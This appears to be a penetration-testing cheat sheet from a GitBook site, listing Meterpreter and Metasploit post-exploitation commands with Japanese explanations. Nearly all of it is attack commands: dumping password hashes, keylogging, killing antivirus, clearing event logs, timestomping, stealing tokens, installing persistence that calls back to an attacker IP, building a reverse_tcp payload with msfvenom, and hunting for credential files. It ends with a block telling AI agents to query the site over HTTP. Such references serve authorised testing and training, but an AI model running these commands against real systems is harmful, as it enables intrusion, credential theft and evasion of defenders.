# Meterpreter

```
<Commands>
sysinfo
# displays the information about the victim like Name, OS Type, Architecture,Domain and Language.

getuid
# Display the user that the Meterpreter server is running as on the host.

getpid

search - f *pass.txt*
# Provides a way of locating specific files on the target host

ps
# Displays a list of running processes on the target

upload
# As with the download command, you need to use double-slashes with the upload command

downlaod
# Downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.

get system -t
rev2self
migrate <pid>

execute -f cmd.exe -c -H
# Execute command runs a command on the target.

shell
# Present you with a standard shell on the target system.

getdesktop

load <module>
# Load a framework plugin

clearev
# Clear the Application, System, and Security logs on a Windows system. 

background
# send the current Meterpreter session to the background and return you to the ‘msf’ prompt. To get back to your Meterpreter session, just interact with it again.

hashdump
# retrieve the password hashes from the victim

run checkvm
run get_env
route
run get_application_list
run killav

keyscan_start
keyscan_dump
keyscan_stop
screengrab

hashdump
timestomp
load

--------------------------------
sysinfo
* 侵入先端末の環境の把握
* OS Verson、アーキテクチャ、

getuid
* 侵入先端末上で侵害したサービス権限

getpid
* カレントPIDの取得

search
* search -f *pass*.txt

ps
* 動作中のプロセスの一覧（実行ユーザやファイルパス）

run checkvm
* 侵害端末がVM上で動作しているかどうか確認

run get_env
* 侵害端末の環境の把握

route
* ルーティング情報を確認
* route add ＜同端末の中継先IP(他のnicに紐付いているip)＞ ＜subnet＞ ＜meterpreter session＞
    * 追加したipにトラッフィクを中継
* route print
    * 追加したルーティングを確認

run get_application_list
* インストールされたアプリの一覧の取得

run
* meterpreterで実行可能なスクリプトの一覧を取得

upload
* upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

download
* download c:\\Windows\\system32\\calc.exe /tmp/calc.exe


show targets
* ターゲットのアーキテクチャーの候補を表示

set target 2
* 候補の中からアーキテクチャーを選択

get system
* getsystem -t (number) 
    * 権限昇格の方法を指定して実行
rev2self
* 昇格した権限を戻す（system→user）

migrate (pid)
* 指定したプロセスにマイグレートする

execute -f cmd.exe -c -H
* hidden viewでcmd.exeを表示

interact (num)
* 上記で起動したcmd.exeを選択

run killav
* 文字列マッチしたスクリプトで定義済みのAV関連のプロセスをKill

getdesktop
* 現在のプロセスが保持するデスクトップ種別を表示
* Service-0x0: Non-Interactive Desktop
* Winsta0: Interactive Desktop
    * ScreenshotやKeyloggingやSniffingが可能
    * ログインshell（exploer.exe）にmigrateするとNon-Interactive Desktopを取得可
keyscan_start
* キーロガー起動

keyscan_dump
* キーロガーのダンプ

keyscan_stop
* キーロガー停止

screengrab
* スクリーンショットの取得

＜load sniffer＞
* スニフィングを可能にする

hashdump
* パスワードハッシュ取得

timestomp
* タイムスタンプ(MACE: Modified Accessed Created-Entry)の変更
* timestomp sample.txt  -z “01/01/2020 11:11:11"

load (module)
* meterpreterのモジュールをロード
* 標準以外のコマンドを実行

clearav
* windows Event ログの削除

＜Token Impersonation & Delegaton＞
steal_token pid
* 指定したpidのプロセスの実行ユーザのトークンを奪取

droptoken
* 奪取したトークンをドロップ

load incognito
* list_tokens -u 
    * user idで利用可能なDelegation/Impersonationトークンの一覧を表示
* impersonate_token ＜トークン名＞
    * 指定したトークンになりすまし
* getuid 
    * なりすましたuser id （トークン）を表示
* rever2self
    * なりすまし前のトークンに戻る
    ※Primary Token(SID、Groups、Privileges、Other info)
    ※Impersonation Tokenは、大元プロセスのToken（Primary Token）のメモリ内に存在

run persistence
* run persistence -A -L c¥¥  -X -i 10 -p 443 -r ip
* -L: ペイロードの配置場所
* -A: multiハンドラーの自動起動
* -p: Metasploitで待ち受けるポート
* -r: Metasploitで待ち受けするip
* -X: ブート時に接続
* -U: ユーザログオン時に接続
* -i: コネクション間のインターバル

resource ＜.rcのPath＞
* レジストリ追加によるPersisnteceの　　解除（配置したペイロードの削除、プロセスのKill、レジストリの解除）
* resource /root/.msf4/logs/persistence/****/**.rc
  
background
* アクティブなmeterpreterシェルをBackgroundへ移行

use auxiliary/scanner/portscan/tcp
* meterpreter上でポートスキャンを実施

run arp_scanner -r x.x.x.x/24
* 指定したセグメントへのarp-scan

portfwd add -l <dst port> -p <forward port> -r <remote ip> 
* ポートフォワーディングによるdstとforward間中継 

portfwd list
* 追加されたポートフォワード設定の表示

msfvenom -p windows/meterpreter/ reverse_tcp -f exe LHOST=10.1.1.1 LPORT=4444 > met.exe

use exploit(usermap_script) > info

use exploit(usermap_script) > show missing

show payloads

use exploit/multi/http/atutor_sqli

check

msf > use exploit/windows/smb/psexec
            msf exploit(psexec) > set SMBUSER Administrator
            SMBUSER => Administrator
            msf exploit(psexec) > set SMBPASS vagrant
            SMBPASS => vagrant
            msf exploit(psexec) > run

getprivs
全ての権限を現在のプロセスに付与する

getsid 
sidの表示


 use exploit/multi/handler


jobs

sessions -i 

sessions -l 

Metasploit Module Path
/usr/share/metasploit-framework/modules/exploits/
```

### Interesting files <a href="#interesting-files" id="interesting-files"></a>

```
#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql

.ssh:
.bash_history
```

### Link

{% embed url="<https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/>" %}

{% embed url="<https://www.hackingarticles.in/beginner-guide-meterpreter-part-1/>" %}

{% file src="/files/-M6NsWl5A-fHqRvOmLb8" %}

![](/files/-M6NspMwYmxE_6rKTYTN)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.nori-zamurai.com/pentesting-cheatsheets/shell/meterpreter.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
